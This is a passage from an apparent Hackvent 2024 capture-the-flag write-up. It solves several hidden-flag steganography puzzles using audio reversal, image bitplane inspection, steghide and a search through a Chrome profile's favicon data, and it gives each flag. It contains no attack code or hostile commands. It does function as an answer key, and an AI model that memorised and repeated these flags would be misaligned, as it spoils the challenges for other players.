throw it into Sonic Visualizer, but this time we don’t see no hidden message in the spectrum.
The next thing is to actually load it into Audacity and listen to it. It’s a very very deep voice, that
can be heard and the file has a runtime of 35min. So first we speed this up x10.
Oh, this sounds much better, but still wrong. Let’s reverse it and get a surprise:
E ectSpecialReverse
But around the last 1/3 of the song another voice overlaps with the audio and spells the flag
letter by letter.
Unfortunately, it was quite hard to separate the spelling from the song and it took we like 30min
until I finally got it (next 30min were due to the fact I didn’t realize the prefix was HV24 and not
HE2024 as the speaker spelled the flag...) I always understood something like
“GPT_R1CKR0LL3D”. Actually, I never clearly heard the “3” in the speeling. I used a noise
canceller plus some band filter to separate the background music as good as possible from the
spelling but it was still hard to understand.
One of the best transcriptions was actually Slack when you upload the WAV file to a chat.
Flag: HV24{G3T_R1CKR0LL3D}
[HV24.HE] Grinch’s secret
I had a weird dream tonight. It said that in one of the easy challenges, there might be another
flag hidden? That can't be true, right??
Solution:
The secret flag is actually stored in the challenge picture of day 23.
We upload it in aperisolve and have a VERY CLOSE look at the di erent bitplanes. In Blue 0 we
spot something:
Flag: HV24{0h_w0w_y0u_4lm0st_m1ss3d_th1s_h1dd3n_fl4g}
[HV24.HM] Mrs Claus’s Secret
Mrs. Claus said that she hid another flag in one of the medium. Do not tell Santa Claus!!
Solution: As it turned out, what I considered a hint for getting the challenge of the day flag in ch5
was actually a password for steghide for our image.
Flag: HV24{p4ssw0rd_h1dd3n_1n_z3_n0tep4d.exe}
[HV24.HH] Frosty's Secret
I cannot believe it! This snowman has really hid a flag in one of the hard challenges. Now I'm
gonna have to search it and remove it. Grumble, grumble...
Solution:
This hidden flag is also in Prancer’s Chrom profile dump from challenge 15.
When we enter the directory and do an optimistic grep for PNG we have of course a lot of hits…
daubsi@bigigloo /tmp/ch15/Prancer/Chrome grep -rail PNG | head
Default/Web Data
Default/Favicons
Default/Local Storage/leveldb/000010.ldb
Default/Local Storage/leveldb/000005.ldb
Default/Local Storage/leveldb/000013.log
Default/Sync Data/LevelDB/000003.log
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/256.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/128.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/32.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/48.png
…
…
Unfortunately entry number 10 is a 404 – but it seems where are on a hot track!
id|icon_id|last_updated|image_data|width|height|last_requested
2|1|13378484490292923|PNG
hex(image_data)
89504E470D0A1A0A0000000D4948445200000020000000200806000000737A7AF4000004F9494441545
885B5575B6C945510FE66FEA5DBEE76BB29D74241B1964BB9582E462E125369500435181FD06822C63E
A0186D8226A021010328121E1A8D5194100D5E488C311A1AA0A93752048A814A6824D00292969642696
977BBEDEE99F1A1DBEDFEBB7FDB2DE03CFD6766CE7CDF3967FE397308298AAA660178524496AA6A2111
E501F045CDB754F52211D5307325800344742BD5D843014F33C6EC35C674698A628C091A63F6A8EA943
B01F6186376196322A9023B10091B6376AA6AC670C1A71A63CEDE2EB00391BF5535DF098B1CC0E789C8
21661E9D6833571BD0FDEB61844F9D44E4723DA4BD0D500567F961DD9B87B4C27970172F87953B29094
8445A98F931223A3D2001559D2A225589E0A6A91181DD1FA1FBC82F80EAE0DB4704F7C345F0AE7D1356
CE0427128B89E842120155F58AC809669E113F2954518ECEB21DD050D7E0C0893C323CF0AD7F17EEA26
58924CE30F30222EA02008E33BC97081EFCEE4B74ECD83C6C7000D0AE207AAAFF4CD233F36C11D91223
8AE8AF26226799D9EA33842ACAD1B163B36370575E3ED21E5A0C6B7C2E4004D3D8809EEAA388D49D8FF
9A4AF7C06BED20D0025A5194424C2CC0544748100C018B39799D7F43998AB0DB859F23CB43B649B688D
CF4566E906A4CD5FE048ACE7E43174ECDA06F7922264AE5B3FE80E89C81ECBB24A4855FD22D2C4CCE97
DC640D91B08FE7CCC366144C12CF8B797817C3EA77831D16000E4F10EEA13251064E61C06B0321E5CBB
EAE12ED80DF7832D31671E390A595B770D090E202570F4E68207C00A1691A5B61534EF072C81675903B
CAB2E81D214DE57D681FDD929051E8E88C85297AA16DA08B4FE16FB4E2B68832B371369C5CBEF3A387A
93BFD015BDD5FA95815A9B93356521E0720D18A4787B2065C04DABDC289AD11F8B88F238EE4AED95708
B6D48198E25FCB6A4B12DA98AFAD9D9F5FF919E4872196700F6C661C418DB5083E771B7C4EB4E2A4AED
2E55BD0860549F863267425B9B631E4D6DB5182B118C60E73CA87CC7F9B7BBD82228F9DC5EC2C7F9ED0
454B59E89A8265E49D98FC6BE0F764FC4738D7928BFF47B2A0BB4C9893A93A49B3ADEB28DA32D1C57DA
94E356230C1776763E802D1DF31082854FCE7C831BA1B694C13B438AEF8F876DBA7B463372127680992
B19C0011189ED15654CC667DE8DF8213439E6D81A6A47E91FDBD1DED3312478D8005B7FEC466BC09E70
4F14DA8F50448200CA39DABD7E1B6F5C3D7B2D3CAE74DB847F6ED6E3C5436FE348E35F03829F6FBB8C5
70FEC47757D8F4D3FD24B786A6E520E7D4D449D7DD7F11411A965EECFB483978F60D3B13247A0C959B9
589433179332734044B8D67503A7AED5A2E6FA39281456281F9EE6D74191DEF2BDE5D9742C99D67FFE2
2128E5EC775B14331C6EC64E6B7E281F69DFB0965A7BF1A70C58309191F329A5FC3CBF30BB1E691349B
4D443EB02C6B23125A328F881C67E659F1CE87FFADC2B6EA4F118C0CAF2BB2C84249C10B2899FD74227
80D332F24A2101C9AD27C1139CACCB66AD414BC8E8F6BF6A1E24A1564A8A614C0FCB133513AE7254CCF
B65D331091E668535ADFA7736ACBE788C8E14412007035D0828A2B55A86E3E83BAF62BB8D9DD0E55C0E
FF6E15EDF04CC19331DC51317615AF67D49A4A2E08F27D61D4751D5FCE863E26E3D4C4EAB6ADE90C009
24328C311F1A63C27700DC638C795F55D353801C7437BE30C60486011C30C6EC56D5FB878A9FDC330F4
CC4076045C2F3DC1F35B7AB6A7DDCF3BC9C883A5389FB1F610E93ACD74339410000000049454E44AE42
6082
Flag: HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}